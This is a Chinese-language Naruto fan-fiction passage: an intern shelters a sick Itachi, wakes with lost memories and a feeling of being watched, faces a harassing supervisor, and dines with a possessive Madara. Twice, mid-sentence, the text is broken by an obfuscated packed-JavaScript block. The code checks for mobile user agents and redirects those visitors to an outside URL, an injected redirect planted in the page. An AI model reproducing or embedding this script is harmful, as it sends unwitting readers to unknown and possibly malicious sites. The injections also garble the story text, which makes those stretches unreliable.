似乎有什么控制着我,令我僵硬的目光定格在面前银白色的电梯门上。 我这才发现,原来这扇电梯门被擦拭得光可鉴人。 光洁的金属电梯门犹如一面银镜,倒映着远处高矮不一的建筑物,还有天幕上巨大的圆月。 圆月之下,是一杆高高的陈旧电线杆。 此时已经很晚,大部分住户都熄了灯。静夜中,只有令人心慌的噼里啪啦雨声越来越大。 遮住一切危险来临前的声响。 月色照出的电线杆黑影格外引人注目。 纤细而修长。 一只漆黑的红眼乌鸦停驻在电线杆方寸大小的顶部。 然后慢慢地,慢慢地,在我惊恐的注视之下,这巴掌大的乌鸦黑影倏然抻长膨胀,逐渐高过我的头顶,黑影完全笼罩了我。满月的月光不再照射进来,接着一个轻轻的呼吸声在我背后响起。 温冷的气流吹起我的几缕鬓发。 “您好……?” 乌鸦说话了!! “??!!” 我吓得一个激灵,差点把身份卡摔在了地上。 我迅速转过身,脊背紧紧贴着冰凉僵硬的电梯门,呼吸急促。 我方才看错了,那倒并不是什么乌鸦,而是一个成年男性。穿着被雨打湿的黑色薄风衣,风衣上有红色云朵的花纹,衣襟敞开,个子很高,脖子上系着黑色皮绳,绳子上依次穿着三枚勾玉挂坠。此刻正堪堪贴在苍白湿润的锁骨之上。 似乎是看到我的表情,他露出一个有些歉意的淡淡笑容,声音很轻,几乎要融进这夜色里的雨声:“抱歉,吓到您了?我是之前联系您的宇智波鼬。” “啊……啊!是您啊!” 是那个快递被送错到我家的鼬先生。 我这才回过神,恍然大悟。 “是的,打扰您了。”他低声说。 或许是为了避雨,他站得离我有些太近了,因为身高差的缘故,为了看着我的眼睛,他是弯着腰的。我几乎能看见雨珠从他乌黑的睫毛上震落,接着,那滴雨珠落在我的鼻尖之上。 凉凉的。 他猩红色的眼珠子往下滚了一下,顺着雨珠的痕迹,从我的鼻尖,一路落在嘴角,最后顺着下颌滑到脖颈,没入衣领之内。 到了这里,那滴凉凉的雨珠,就被我的体温煨暖了,滚烫犹如油滴。 他情不自禁地加重呼吸,吞咽了一下,喉结因着动作上下滑动。花纹在红瞳中缓慢流转,仿佛幻术。 我的手指不自然地抽搐了一下。 漆黑的勾玉项链随着呼吸,缓缓起伏了一个来回。男人漂亮的锁骨上,也挂着一滴欲落未落的雨珠。 凉意攀爬上脊背。极度的危险令人毛骨悚然。 他背后那轮圆月,鲜明浓烈到有股令人心慌的血腥味。 我一边磕磕绊绊拿出身份卡刷开电梯,下意识后退了几步,一边结结巴巴地问,“您怎么身上这样湿?没有打伞吗?” 他跟着我进了电梯。 有了照明,我这才看清楚对方。他一头黑色长发,顺滑湿润,在脑后随意地用发绳扎起,此刻正滴答着透明的水珠。而更令我在意的是,他的脸上并没有什么健康的血色,而是显得十分苍白。 青色的血管似乎能隐隐约约透过他苍白的肌肤,仿佛稍微用点力,就能刺破。 湿透的衣服紧紧贴着身体,他看起来有些疲倦和冷淡,嘴唇没有血色,微微抿着,没什么精神的样子。 虹膜也并不是有着幻境般的黑色花纹的猩红色,而只是温和无害的黑色。 是个有些病恹恹的美人。 那股可怕的、血腥的、怪物般的危险感,难道是我的错觉吗? 我最近,似乎总有这种被什么野兽盯上的危险幻觉。 正在我打量间,他捂着嘴唇咳嗽了几声。尽管鼬尽量压低了声音,还是令我有些在意。 “是受了凉吗?”我说。 他这一看就是淋了雨过来的。 我心里不由咯噔了一下,看他身上的湿透的衣服,大概是在这里等了有段时间了。 “请不用在意。”他低声说。 我抓紧身份卡,垂下眼睫,坚硬的塑料边缘硌着我的掌心,微微发疼。 ……我应该早点回家的。 我领着宇智波鼬一路来到我家门口,路上听他低声说,他是今天刚搬来这里,住宅里空空如也。大部分物品都通过包裹寄来,有一些比较急用的物品在包裹里,因此提前过来了。 是因为这样,才没有雨具吗? 可是,即使是我这样的笨蛋都知道,忘记带雨伞,可以在路边的便利店购买应急雨伞使用。 他就这一直在这里淋着雨等我吗? 我悄悄看着鼬苍白湿润的侧脸。 虽然言谈举止很礼貌。但这个人……搞不好不太会照顾自己的身体啊…… 纸箱都还堆叠在我的门口。 “您要怎么带回去呢?”我问道。这些包裹都又重又沉,鼬先生看起来病恹恹的样子,而且还有点受寒了。我听见好几次他压抑的咳嗽声。 “我会自行想办法处理的。”鼬礼貌地说,“深夜打扰本就十分失礼,请您无需挂心。” 我的心里微微动了动。 他大概也明白,成年男性深夜出现在单身女性公寓外,会让我不安吧。 老实说,他的猜测是对的。我原本准备将他带到门口,然后就不管了的。 毕竟是从未见过的、不知底细的陌生人。 就算看起来再怎么身体不好,手臂上的肌肉也比我结实坚硬很多。 而且还给我有点背后毛毛的危机感。 “这……” 我看着他想了想,对他说:“请您稍等一下。” 我回屋子里取了干净未拆封的毛巾,接着跑出来交给他:“不介意的话,请擦擦头发吧?”我有些不好意思地说。 鼬以手成拳,抵着嘴唇压抑地咳嗽了几声,接过毛巾道谢道:“多谢,真抱歉,我从小就身体欠佳,让您见笑了。” “啊……”我怔了一下。 “家族的遗传病。”他轻描淡写地解释,像是不愿多说。 那就是鼬一直都身体不好? 今天还淋了雨……我心里一紧。 楼道里响起压抑的咳嗽声,他的风衣下摆滴着水,很快就洇湿了铺在楼道里的地毯。 抱起纸箱往下搬运的时候,我看见他很明显地摇晃了一下。 身体的反应比脑袋很快,我扶住纸箱另一边,帮忙把纸箱放在地上。 “谢谢,咳咳。”鼬温和地低声说,脸颊上有湿润的水珠滚过的痕迹,黑发贴在脖颈。 他的脸色好像更苍白虚弱了,呼吸声很微弱。 我咬住下唇。 如果我早点回家的话,或许…… “那个……”我脑袋一热,忍不住提议道,“鼬先生,要不要来我家里先喝杯热茶?” 我检查了一下浴室里的设备,走出来的时候,宇智波鼬正专注地看着桌子上冒着热气的茶,听见声音,抬起脸看了过来。 他身上衣服湿透,很拘谨地站在一小块地方,不让自己弄湿我的家具。气质温和安静。 ……是个好人啊。 “喝了热茶,有没有感觉身体暖和一点?”我问道,“要是发热的话就不好了。浴室我已经检查好了,不介意的话,请洗个热水澡,换身干燥的衣服吧。” “真是麻烦您了。” 他露出温和轻柔的笑容。我忍不住抿了抿嘴唇,不好意思地挠了挠脸颊。 其实我原本也并没有想让鼬在我家里洗澡。毕竟是成年男性,浴室又多多少少有些私密,会很尴尬。 但当这样一个漂亮又病弱的男人对你低声要求些什么的时候,很难有人会拒绝他。 他用来搬家的包裹就在我家门外,所以找到几件鼬的换洗衣服其实是很方便的。 在浴室水声响起的时候,我将地板上的水渍打扫干净。 将待客的热茶给自己倒了一杯,我一边喝着热茶,一边打开手机给小樱他们发了几条消息。小樱很快就传来了她拍摄的,大家唱歌的视频。 看着视频里热热闹闹的大家,感觉心脏也变得暖和起来了。 小樱:鸣人那个笨蛋……还有佐助!完全不跟我们一起唱歌的!啊真是的!你在做什么? 我打字回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993388|178054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复:在喝热茶驱寒!今天下雨,小樱也要注意防寒保暖,不要生病噢! 小樱立刻发了“大笨蛋”的表情:这么晚了还喝热茶,会睡不着的啦!你这个没有别人照顾就完蛋的生活常识为零的家伙! 手指停住了,我露出空白的表情。 啊,完全忘记了。 甚至还给鼬先生也喝了。 浴室里的水声逐渐停歇。 困意也逐渐袭来,我甩了甩脑袋,勉强回复了小樱几个字,然后莫名其妙地睡了过去。 手指一松,装着半杯未喝完的热茶的水杯,在掉在地上摔碎之前,好像被什么人接住了。 第二天是被闹钟唤醒的。 桌子上放了鼬先生留下的,感谢用的便签,说是看见我睡着了,就没有打扰我。顺便也留下了他的联系方式,说是请务必让他回报我的收留恩情。 门口的快递纸箱也全都不见了。 做了好事醒来以后神清气爽,时间不早了。我连忙准备洗漱去公司上班。 对着镜子洗脸的时候我感到些微的刺痛,凑近了一瞧,发现嘴唇不知为何有些发红,嘴角破了皮。碰了下,我立刻蹙眉嘶了一口凉气。 好痛! 什么时候受的伤?完全没有印象。 昨晚喝茶的时候应该还没有,否则拉扯到嘴角一定会很痛的。 我疑惑地放轻了动作,接着又去换了衣服。脱下睡衣的时候我努力回忆了一下,我今天早上是在卧室床上醒来的,身体也很干净清爽,是清洁过的。 但是昨晚,似乎并没有我去洗完澡,接着换上睡衣躺在卧室床上入睡的记忆。 我不是在沙发上,一边玩着手机,一边等鼬先生出来的吗? 毕竟还有客人在家,我应该不会自己一个人跑去睡觉。 而且让客人在家里听着自己洗澡也太奇怪了。因此我是准备等鼬先生离开之后再处理自己的事。 但在沙发上玩手机之后的事,好像完全没有印象。 是我自己洗的澡,换的睡衣,走到卧室睡在床上的吗? 记忆一片空白。 就像被橡皮擦擦去一般干净。 这是怎么回事呢……是太困了吗? 叮铃铃铃——!! “唔啊!” 闹铃声猝然响起,我吓了一跳,用力甩了甩还有些困意的脑袋,咬着三明治匆匆忙忙穿上鞋子,准备去站台搭乘去公司的电车了。 一股酥麻的电流,倏然窜过我的脊背。 汗毛倒竖。 手指握着门把手,我猛地回过头,惊疑不定地环顾了一圈。 沙发、地毯、挂饰、茶杯…… 家里看起来很正常,一切都和过去一样。 我摸了摸有些冒冷汗的鼻尖,转过头。为什么总感觉好像有人在盯着我? 还有,说起来。 今天用的牙刷,好像是新拆封的?刷毛有些硬。 毛巾闻起来的味道也很崭新,不是我熟悉的味道。 原来的那个,我昨天丢掉了吗? 家里的布置虽然还和之前一样,但是总感觉……好像所有的东西都被换了一遍。 ……啊。 我站在电梯里忍不住自嘲地笑了下,有些为我的自我意识过剩感到脸红。连忙尴尬地拍了拍滚烫的脸颊,让热度散去。 呼出一口气。我走出电梯,不禁有些庆幸,还好没有人知道我在想什么。 是我想太多了吧?总把自己当成故事的女主角,舞台上聚光灯的中心。自我意识过剩的家伙都会这样,但我只是普通实习牛马兼窝囊大学生罢了! 现实生活中怎么会发生一夜之间个人物品被人全换了一遍这种事,我的人生又不是什么惊悚恐怖电影,随便做点什么就会被阴魂不散的男鬼缠上。 被时时刻刻窥视着生活,拿走有我味道的日用品,对我做些奇怪的事。 我最近真的太疑神疑鬼了。 我跟着早高峰的人流走进电车站,等待电车到达。 拥挤的人潮中,我拎着包有些东倒西歪。上班用的高跟鞋完全穿不习惯。 在我差点摔倒的时候,似乎被什么人扶了一下。 滚烫粗糙的指尖重重按在我的手腕上,微妙地停留了半秒钟。用指腹缠绵地摩挲了一个来回。仿佛要留下自己的气味,用以标记猎物的野兽一般。 手腕瞬间红了一圈,抽痛感。 “要好好照顾自己啊。”仿佛是耳语般的,低沉性感的男声,犹如融化了的蜜糖,黏腻又阴湿,甜美又令人毛骨悚然,“冒冒失失的小姐。” “谢、谢谢您……咦?” 当我站稳抬起头的时候,这个古怪的好心人,却已经消失在人潮中了。 7. 第 7 章 07、 我有些纳闷地来到公司,打完卡之后窝囊地处理啤酒肚主管给我安排的,复杂困难又枯燥无趣的工作。 眼睛长时间盯着电脑屏幕,不知不觉间就变得又酸又痛。 我连忙仰起脸揉了揉眼睛,然后又把电脑旁边的眼药水举起来,给自己滴了两滴。 “咦?” 挤不出来。 我眯着眼睛看了半天眼药水瓶,发现原来是已经用完了。 我呆呆地出了会儿神。 对了,今天下班路过药妆店的时候,再去卖一瓶吧。 眼睛的酸痛感没有缓解。不合脚的高跟鞋又令脚踝隐隐作痛。 电车上站在隔壁的大叔有着狐臭,汗液已经将腋下的衬衫浸成黄色,喷了过量止汗剂。香味和臭味混在一起,气味浓烈。即使戴了口罩也遮不住,只能尽量低着头闻了一路。 下个月公寓的租金还没有攒够,迟迟不敢点开有红点的管理人的对话框。 老家的爸爸妈妈寄来了蜜柑,可是运过来的时候已经因为纸箱受潮全部发霉烂掉了。妈妈打电话过来的时候还要用高兴的声音说很好吃,惊喜地说谢谢妈妈和爸爸。 妈妈说特地多寄了很多蜜柑,让我分给工作上对我有帮助的前辈。 我坐在烂掉的蜜柑箱子旁边想了很久,也不知道可以把蜜柑送给哪个前辈。最后只能把爸爸妈妈辛苦采摘又包装好,每个都擦得干干净净的蜜柑全部丢进垃圾袋。 对不起妈妈,对不起爸爸。蜜柑应该很好吃的,汁水又多又甜。扔掉的时候我每个都认真地看过了,一定是在每棵树上都挑了最大最漂亮的寄给我。 我真是虚伪爱骗人的坏孩子。 丢蜜柑的时候因为记错了可燃垃圾回收日,被负责人生气地骂了。不停地鞠躬道歉,总算没有被罚款。那几袋烂掉的蜜柑摆在家里了很多天,最后终于扔掉的时候,地板上已经有淡黄的污渍,是腐烂的汁液从垃圾袋里渗透出来了。因为连续加班工作太累完全没发觉。 数量太多,扔下楼的时候搬了好几趟,楼道和电梯里都是烂掉的汁水。打扫干净又买了礼物,附上道歉信小心地摆在受波及的住户家门口。几天后还是被公寓楼的管理人找上门赔偿了,不知道是公寓里的哪些住户去抱怨的。 家里被弄脏的地板擦了很多遍也没能擦干净。从网上买了据说是效果很强劲的清洁剂也毫无用处,反而还将地板腐蚀了。等到退租的时候一定会被扣掉一大笔押金,如果被妈妈知道该怎么办,她一定会很伤心。不想让妈妈为我难过。 喜欢的食物一个月只敢买一次,平时就用廉价又味道勉强过得去的打折便当应付过去。 没有公司报销的话连入住酒店也要斤斤计较,难看丢人地睡在汽车的后座里,直到现在还腰酸背痛。 从无忧无虑的学生成为每天都要工作的大人,原来是这么辛苦的事。 直到现在我路过曾经摆放蜜柑的那小块角落,似乎还能闻到淡淡的霉味,还有烂掉的蜜柑流出的腐败的汁水的味道。 可是明明已经,过去很久了。 那里早就没有味道了。 但我还是不敢接老家来的电话。 生活中总有这样那样毫不起眼又挥之不去的微小痛苦,让人感到无法再撑下去。 大人们说,如果能在擅长的领域,做自己喜欢的工作,是令人感到高兴的事。 可是我真的实现了自己的价值吗? 我当初给公司投递简历……其实是想在实习期学习知识,增加工作经验的。 甚至还抱着可以围观月之眼企划的小小憧憬。 但是到目前为止,都只是在重复处理表格和整理旧资料的工作。每天都焦虑是不是自己太笨了,才没办法从工作中学到知识。鸣人他们关心我的时候,我也只能勉强编造一些话让他们不要担心。 “最近,你精神有点不好呢……” 前不久在学校里碰见小樱的时候,被她这么说了。 “工作太辛苦了?”她体贴地说,温柔地摸了摸我的头发,“毕竟是大集团。不过也不要太拼啦。” 我低着头不敢看她,挤出笑容,听见自己的声音说:“嗯,谢谢小樱。” 我好像已经开始习惯对关心我和爱我的人说谎了。 这就像一个积分闯关游戏。起初大家都站在同一起跑线上,可有的人很快通关,有的人还在原地踟蹰不前。 积分的唯一标准就是说谎的次数。当足够多的谎言累积起来,达到通关标准,或许就可以成为真正的大人了。 虚伪、世故又爱骗人。 “你在做什么?!” 就在我发呆的时候,一个惊雷般的声音陡然响起。 我吓了一跳,连忙站起来。 啤酒肚主管站在我的工位旁边,瞪着我,表情很严肃:“公司里按月付给你们这群实习生薪水,就是为了让你们在工位睡觉的吗?” 他的音量并不小,很多人看了过来。 窃窃私语的声音响了起来。 指指点点,交头接耳。 我的耳朵渐渐变得滚烫,咬着下唇低下头去。 “对不起,主管。”我小声说。 “如果每个偷懒的员工都可以用对不起弥补自己的错误,那么没人做的工作又要给谁承担?”他毫不留情地训斥,“你没做的工作就要交给别的人去做。你也不希望把自己的工作分配给别人吧?” 他的意思是,我不做,就会让别人帮我去做。 这样的话,公司里的其他员工,就会讨厌我了。 复杂的人情世故。 逐渐看过来的质疑审视目光就像重重扇在我脸上的巴掌。 我连忙说:“不是的,我只是滴了一下眼药水。马上就——” “我不想再听到借口。”他不耐烦地说,“中午之前将资料整理好。我是看重你,才在这期实习生里,把最重要的工作交给你的,真让我失望!!”他伸出手,似乎想拍拍我的肩膀,我下意识躲了过去。 他那天,也是这样按在我的大腿上的。 大概是早上的三明治吃得太着急噎住了,我此刻一阵阵反胃。 他的脸色更难看了。 我点头哈腰:“是的,明白了,主管。抱歉,添麻烦了。” 等他走了以后,我再也不敢耽搁,仔细梳理起历年资料,制作成表格。 工作量实在是太大了,直到中午午休时,我也没有整理完。 偷偷看见主管的办公室里没人,他大概是去用午餐了。 我这才敢偷偷拿出水杯,去茶水间给自己倒了杯咖啡——这个工作量,今天一定要加班的。要保持清醒才行。 一上午没有喝水,口干舌燥,我在咖啡机前咕嘟咕嘟一口气喝完一整杯,接着又准备再倒一杯带回工位。 就在我思考着午饭是干脆用咖啡代替,还是啃饼干更节约时间的时候,面前的咖啡机发出滴滴的警报声,按钮闪烁着红灯,显示需要更换滤纸。 于是我放下咖啡杯,去堆放耗材的小隔间寻找。 “……银座那家店要提前半年预约,我的哥哥是那里的经理。你们过去报我的名字,会有折扣。” “欸?真的假的?明美的哥哥居然——” “找个时间约一下一起去吧?” 啊,是正式会社员进来了。 托这群人爱在茶水间聊八卦的福,我知道了不少公司里的权力更迭八卦。 她们兴高采烈聊了会儿这段时间的晨间剧。是经典的少妇出轨小叔的背德不伦题材。这几个人分成了丈夫派和小叔派,各自争论着自己喜欢的角色才最适合与女主角在一起。 咖啡机的滤纸在最下面一层,找了很久才找到。 就在我准备要出去的时候,听到了我的名字。 手指按在门把手上。 “那个看起来有点笨笨的实习生?”叫明美的正式会社员事不关己地说,“主管在整她吧。” “呼呼,看起来明美知道些什么咯?” “哼哼。” 几个人七嘴八舌吹捧起了明美。她们掐着嗓子聊了一会儿最近流行的包包,明美才不经意地随口道:“那个小实习生最近在跟的项目,已经是五年前的废弃项目了。这个项目我跟过初期,前景很差,执行官早就否掉了。也不知道主管从哪里把资料挖出来的。” “就是说,那个好色的老男人纯粹浪费那个实习生的时间,让她做无用功咯?” “是这样。”明美说,“真让人恶心呀。那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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将打印好的文件整理好,用文件夹夹起来,放在主管的办公桌上。然后收拾好公文包,披上外套,去电梯间等下楼的电梯。 看了下时间,现在回去的话,还能赶上最后一班电车。我没有可以打车回家的资金,必须赶在末班车到站之前到达车站才行。 叮咚。 电梯在我的眼前停了下来。 电梯里的男人似乎没想到这么晚了还有人在。抬眼看过来。 他穿着黑色西装三件套,衬衫是红色的。戴着一副黑色皮质手套,手套和挽起的衬衫袖口之间,露出一小截结实有力的小臂。 蓬松的黑色长发有些炸炸的,有些过长的刘海遮住半只右眼。整个人透出某种令人呼吸一滞的,傲慢上位者的强烈魅力。 他看到我的脸,冷淡紧抿的嘴角慢慢上扬起来。那股冷冽倨傲的寒气陡然一散,变得柔和起来。 我看到喜欢的小猫咪对我露出肚皮,就会露出这样柔软温暖的表情。 “我以为你早回去了,”宇智波斑低笑着说,“在等我?” 我有些惊讶:“斑先生?晚、晚上好。” 他也这么晚才结束工作吗? 宇智波斑是集团负责人,又是刚来接手公司,这两天工作应该很忙碌。 他眼下有淡淡的乌青色,疲倦感很重。应该很久没有好好睡过一觉了。 男人抬起手看了下腕表,确认了下时间,居高临下地夸奖道:“等待丈夫工作完毕的确是新娘修行的一部分,这么快就开始期待婚后生活了?真是没什么耐心的急躁小家伙。” 他盯着我,低低地、愉悦地笑了声。 成年男性的色气。 喉咙发干,我情不自禁地吞咽了一下,心跳变快。 “不过,你努力取悦我的样子很可爱。”宇智波斑低声笑道,“我会加快事情推进的速度,让你早日如愿以偿的。” 我:“……嗯?” 好像……有哪里,不太对劲? 熟悉的危机感令我警惕起来。 我迈进电梯的脚步停了下来,缓缓往后退。想了想末班车的时间,只好又硬着头皮走了进去。 8. 第 8 章 08、 宇智波斑看了我一眼,自然地调整了一下姿势,和我并排站在一起。 我有些疑惑。按照职场礼仪,下属应当站在上司身后半步。不过听说斑先生好像不太喜欢有人站在他背后,就连昨天去接机,他也是坐在后座的。我也就理解了他的行为。 挨得很近,两个人的手臂碰到了一起,布料摩擦的轻微声响。 身体的温度。 闻到了斑先生身上的味道,有点不好意思,我红着脸往旁边站了站。 好像有目光落在了发顶,那里有些发烫。 我缩起脖子。 叮咚。 电梯很快到了。 我瞪大眼睛,惊讶地看着眼前的景象,又难以置信地看了眼电梯上方的显示屏:“……咦?” 一定是加班太久,才让我忽略了电梯的指示箭头——这是辆上行电梯。 直到电梯门打开,我才发现这并不是一楼。 尽头的办公室虽然我没有来过,但从设计风格来看,分明是公司顶楼总裁直属的单人办公室。 我并不是碰到了下班回去的宇智波斑,而是碰到了恰好从一楼回办公室的总裁大人。 大晚上和斑先生一起到他的办公室算怎么一回事啊…… 我还没来得及说话,宇智波斑就已经先行走了出去:“晚餐?” 我犹豫了一下。 他停下脚步,转头望过来。眉心不悦地蹙起,看起来十分严厉。 我心里一紧。 想到他不喜欢有人站在自己身后,我下意识啪嗒啪嗒跟了过去,小心翼翼、蹑手蹑脚和他并排走着:“啊,晚饭的话,还没来得及吃。” “准备回去吃速食面?” 背后有点毛毛的,他似乎生气了。宇智波斑气场很强,质问起什么人的时候,这种掌控他人的上位感就更鲜明。就像被大人发现刷完牙偷偷吃糖果的小孩,我心虚地扭着手指小声说:“是的,斑先生。” 没记错的话,家里还有一袋海鲜乌冬面。 “哼,猜到会是这样。”宇智波斑抬起手,他拎着楼下便利店的塑料袋,“和我一起吃。” 原来他刚刚是去一楼买晚餐了。 呜,可是我的末班电车…… 我欲言又止,又不敢反驳他,只能扁扁地继续往前走,不情不愿地道谢:“嗯……谢谢斑先生。” 我好没用哦。 斑大人是顶头上司的顶头上司……我只是窝囊的实习生……如果让对方不高兴的话,我的工作…… 大概是我东想西想,走得太慢,斑很快就又停下脚步等我。 “跟上。”他说。 “是,斑先生!” 斑说话的方式接近命令,完全没有给人拒绝的机会。 他个子比我高,腿也很长,步子迈得很大。我小跑着才能啪嗒啪嗒跟上去。 我一面纠结地计算着末班车时间,一面窝囊地跟着他走进他的办公室,窝囊地坐了下来。 不过,既然已经做出了决定。我就开始有点期待他会请我吃什么了。 老实说,在斑打开塑料袋之前,我擅自期待过不少有的没的,有钱的大公司负责人即使吃便利店,也是豪华三层便当吧。只在宣传海报里看见过,听说会有新鲜肥美的金枪鱼大腹和鲜甜软糯的海胆寿司卷。 而且,这样那样的多金总裁看上普通会社员的厕纸爱情小说我也没少看。斑先生长得很帅气,身材也超级棒,除了脾气倨傲有点目中无人以外,就像爱情小说的男主角一样性感英俊又富有迷人。我难免会在脑海里做一些罗曼蒂克的美梦。 但在盒子被拿出来以后,我就完全失去了这种不切实际的梦幻期待。 全部、全部都是便宜的豆皮寿司! 有着能随时随地掏出钻戒玫瑰花的厕纸浪漫小说男主角完美外貌的宇智波斑总裁大人,居然拿着一盒平民廉价豆皮寿司! 兴高采烈拿着筷子的我大受打击!粉红的噼啵噼啵的少女心完全幻灭了! 唉?为什么会是这样?!吃到豪华海鲜便当的期待落空了!斑先生是学校里爱豆皮寿司如命的明星小猫小斑吗?因为太喜欢豆皮寿司了,所以只要拿着豆皮寿司就能把小斑骗出来,偷偷摸它毛茸茸的耳朵。 就算在平时,酸甜软糯的豆皮寿司也更受年幼的孩子的喜好,大人们很少会把它当作主食。斑先生买了这么多,难道说他居然有这种孩子气的饮食偏好吗? 明明是成年男性?意外的有点可爱。 我沮丧地拆开木筷,夹了一个豆皮寿司放进嘴里。没想到尝到味道以后,心里的怨怼却不翼而飞了。 被醋浸过的豆皮咬起来又酸又糯,米饭捏得很松散,十分开胃,这一份里面加了飞鱼籽,脆脆的,吃起来咯吱咯吱的。小小的飞鱼籽在口腔里爆开,又甜又鲜。 眼睛慢慢亮了起来,情不自禁露出尝到美食的笑容。 很好吃耶! 一整天没怎么进食的胃部这才发出饥饿的信息。咕噜咕噜地对我说赶快喂给我好吃的,痉挛般抽痛起来。我捂着隐隐作痛的小腹狼吞虎咽,一连吃了三四个,这才感觉胃部没那么痛苦。放缓了进食的频率,有空抬起头观察四周。 ——咿! 夹起来的豆皮寿司差点掉回了盒子里。宇智波斑正托着下颌,心不在焉地盯着我吃豆皮寿司,嘴角微微含笑。不知道看了有多久了。 黑色的眼睛一看就不怀好意。 就像我心不在焉地盯着小斑吃豆皮寿司一样,看似平静,其实满肚子坏水,心里盘算着伺机偷偷摸猫耳朵。 我这才感到脸颊发烫起来,不好意思地放下筷子,紧张地站起来鞠躬,乱七八糟地说:“抱歉,斑先生,失礼了,没注意就先……非常感谢您邀请我共进晚餐,诚惶诚恐……” 在网络上看了很多职场礼仪,上司没有动筷子之前,我就擅自把寿司吃了大半,似乎是大忌。会被认为是不尊重上司的行为,在今后的工作中遭到排挤和厌弃。 “你在紧张些什么?”斑不太高兴地说,“将自己的身体养育得健康,也是你应该履行的职责。我不希望今后再看见你不精神地出现在我面前。” 什么嘛……就像所有被上司骂的职员一样,我在心里腹诽,还训斥我,这家伙不也是直到现在才去买了晚饭来吃……但是脸上依旧是那副很窝囊的、唯唯诺诺的表情。 “是,斑先生。” 但宇智波斑就好像会读心一样,看出了我的敷衍,更加严苛冰冷地说:“我只能购买食物来应急,是你的失职。希望今后不会出现这样的情况,准备食物是你的责任。” 欸?什么,实习生要给上司准备一日三餐吗?即使是很窝囊的我,也觉得有些太过分了。这样的话,岂不是工作之外也没有休息时间了? 传说中的职场霸凌…… 我苦着脸说:“……我明白了,斑先生。” 他板着脸,有条不紊地教育道:“不过,毕竟你还在修行初期,对我并不了解,我会给予你一些帮助,让你能更高效地取悦我。我喜欢的食物是能够方便地拿取食用的寿司类,种类和食材没有太多偏好。你可以随意制作。” 他就这样若无其事地告诉了我很多他自己的私人信息。我点头哈腰,拿着小本子认真记录,时不时抬头询问。 “为什么是寿司类呢?” 抱歉我对有钱人有偏见和刻板印象,认为他们会去超贵的西洋餐厅,点一个大盘子里只有拇指大小食物的餐点来吃,还要配上完全不好喝的酒和完全不知道有什么使用礼仪的餐具,背景音乐是钢琴或者小提琴。一顿饭能吃掉我三个月房租。 用酸酸甜甜的豆皮寿司当主食什么的,完全想象不来。就算内馅的种类可以做出改变,但寿司就是寿司,不会因为馅料的种类比较多就变得和普通饭菜一样营养美味。 即使是我,也会选择菜色和口味更丰富的打折便当当作主食。 “这样能够一边吃一边工作。”宇智波斑很普通地回答了我的疑问。 居然是这个理由?!这么简单?根本没有什么复杂的原因! 我肃然起敬。 是……是工作狂啊!! 没想到斑先生是工作狂啊!!! 脑子里浮现出很多斑先生拿着寿司边吃边工作到深夜的场景——你见过凌晨四点的东京湾吗? 也、也对哦!我恍然大悟——如果不是拼命工作,宇智波斑怎么可能在这么年轻的年纪,如此事业有成。 这就是成功人士吗,好努力!我也要学习才行! 大概是我的表情变化太明显,宇智波斑凶巴巴的神情忽然变得缓和了一些。 他的手指慢慢敲了敲桌子。 “你不用担心,”他手指交叉,仿佛承诺着什么似的,认真地慢慢道,“工作当然很重要,尤其是月之眼企划即将上线的今年,我要投入大部分时间和精力在项目推进上。但我是很顾家的男人,绝对不会将工作放在比家庭还重要的位置。我一心一意地爱着认定的妻子,眼里只有她一个女人。未来的孩子,也会作为严厉的父亲对他们进行教育和训练,令他们成为优秀的人才。没有特别的情况,我都会在六点之前回家与家人一起用餐,喝到妻子亲手做的味噌汤才能安心入睡。无论是再繁忙的项目期,工作也不会带到家中。每个月都会有固定的日期全家出游……” 好、好沉重! 为什么忽然若无其事地和我提起这么沉重的婚姻话题! 看起来冷冰冰凶巴巴的斑先生,意外的是个对妻子超级执着的重男啊! 我拿着笔记本汗流浃背。 而且这个人的婚姻观……呜哇!好封建好独裁好直男!不会是那种“妻子在家相夫教子”的日式大男子主义吧……对妻子有强烈的控制欲,完全不给对方留任何隐私空间,好恐怖…… 正式会社员她们最爱看的不伦晨间剧就是团地妻出轨题材呢……你未来的老婆很容易出轨的哦宇智波斑先生。 “哇、哇……”我干巴巴地恭维道,“斑先生真是好男人呢!能够嫁给斑先生这样的爱妻家,作为斑先生新娘的女孩子一定会很幸福!” 胸腔共振,斑发出那种仿佛被取悦了似的,低沉的轻笑声。 “啊,”他意味深长地笑道,“你满意就好。” 我被他盯得后背毛毛的,借口帮忙工作,低头查看起了他桌上的文件。 电脑屏幕上放着的好像是月之眼企划的相关资料,有着一枚猩红的月之眼LOGO。担心是商业机密,我将脑袋扭过去,拿起了他左手边的纸质文件:“斑先生,这个方便交给我来做吗?” 宇智波斑看了我一眼,他露出那种猫咪被挠下巴时的,被人类取悦到的微妙表情,轻笑道:“真是急躁的小家伙。很擅长讨我欢心啊,去看吧,”他恩赐般地说,“你将来也会见到泉奈的。” 我打开文件,那是一叠国外疗养院发过来的资料。 入住病院的客户叫作宇智波泉奈,证件照上是一个笑容很温柔的黑发成年男子,眉眼与宇智波斑有几分相似。 我在关系人那里看到了宇智波斑的签名,这个叫泉奈的男人,似乎是斑的亲弟弟。 我翻了几页,这是疗养院定期给客户关系人发来的健康汇报。资料显示,这位叫作宇智波泉奈的男人在很多年前因意外重伤濒死,情况危急。抢救回来以后身体也有很严重的后遗症,眼睛几乎失明,这几年都在疗养院调理身体。 宇智波斑这些年都是在国外疗养院照顾亲弟,直到最近泉奈的身体有所好转,他才转而回国。 